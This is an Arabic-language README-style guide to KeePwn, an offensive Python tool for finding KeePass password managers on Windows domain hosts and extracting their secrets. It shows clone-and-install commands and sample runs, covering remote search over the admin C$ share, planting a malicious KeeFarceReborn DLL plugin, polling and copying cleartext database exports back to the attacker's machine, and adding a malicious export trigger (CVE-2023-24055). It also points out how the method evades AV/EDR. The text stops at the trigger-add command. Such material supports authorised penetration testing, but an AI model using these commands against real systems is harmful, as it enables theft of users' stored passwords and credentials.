
أداة بايثون لأتمتة اكتشاف KeePass واستخراج الأسرار.

نص برمجي بلغة بايثون لمساعدة فريق الاختراق في اكتشاف مثيلات KeePass واستخراج الأسرار.
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help
أو إذا كنت لا ترغب في التثبيت ولكن فقط تشغيله في بيئة افتراضية:
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help
يتم استخدام وحدة search في KeePwn لتحديد المضيفات التي تشغل KeePass في بيئتك المستهدفة:
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt
[*] Starting remote KeePass search with 5 threads
[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found
يستخدم هذا الوحدة مشاركة C$ المضمنة في Active Directory للبحث عن ملفات متعلقة بـ KeePass في المواقع الافتراضية، وبالتالي يتطلب صلاحيات مدير على الأهداف.
ستقوم الوحدة أولاً بالبحث عن ملف التكوين KeePass.config.xml في مجلد %APPDATA%\KeePass لكل مستخدم، بالإضافة إلى KeePass.exe في مسار التثبيت الافتراضي (C:\Program Files\KeePass Password Safe 2). إذا تم العثور على ملف تكوين ولكن لم يتم تثبيت KeePass بشكل عام، سيبحث KeePwn عن التثبيتات المحمولة حتى --max-depth من المجلدات الفرعية.
يجب أن تكون تقنية البحث الأساسية هذه كافية لتحديد دقة ما إذا كان KeePass مستخدمًا على محطة العمل أم لا. بالإضافة إلى ذلك، سيستخدم خيار --get-process تنفيذ RPC الخاص بـ Impacket لتحديد ما إذا كان KeePass قيد التشغيل حاليًا على الهدف.
كما تتضمن العديد من خيارات سهولة الاستخدام للسماح لك بتصدير نتائج البحث إلى ملف CSV، وعرض الأهداف التي تم العثور فيها على KeePass فقط، وضبط عدد الخيوط المتوازية:
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv
[*] Starting remote KeePass search with 4 threads
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)
[+] Search results logged to keepwn_out.csv
يحتوي KeePass على إطار عمل للإضافات يمكن استغلاله لتحميل DLLs ضارة في عملية KeePass، مما يسمح للمهاجمين بصلاحيات مدير بتصدير قاعدة البيانات بسهولة (انظر: KeeFarceRebornPlugin).
تتيح وحدة plugin في KeePwn ما يلي:
سرد الإضافات المثبتة حاليًا وتعداد ذاكرة التخزين المؤقت للإضافات
$ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No path specified, searching in default locations..
[*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
إضافة وإزالة الإضافات الضارة الخاصة بك
$ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll
[*] No path specified, searching in default locations..
[*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
> y
[+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
استقصاء %APPDATA% للصادرات ونقلها تلقائيًا من المضيف البعيد إلى نظام الملفات المحلي
$ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml
تتم هذه الإجراءات من خلال الوصول إلى مشاركة SMB C$، مما يحد من كشف AV/EDR حيث لا يتم تنفيذ أي أمر.
كما هو موضح في منشور مدونة @harmj0y (ولاحقًا CVE-2023-24055)، يمكن إساءة استخدام نظام المحفزات في KeePass لتصدير قاعدة البيانات كنص صريح.
تتيح وحدة trigger في KeePwn ما يلي:
التحقق مما إذا كان محفز ضار باسم "export" مكتوب حاليًا في تكوين KeePass
$ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No KeePass configuration path specified, searching in default locations..
[*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
[*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
[*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[+] No trigger found in KeePass configuration
لاحظ أن KeePwn سيمنعك من إساءة استخدام الإضافات إذا كان إصدار KeePass المكتشف لا يتأثر بهذه التقنية.
إضافة وإزالة محفز ضار باسم "export" يقوم بتصدير قاعدة البيانات كنص صريح في %APPDATA% عند تشغيل KeePass التالي
❯ python3 KeePwn.py trigger add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL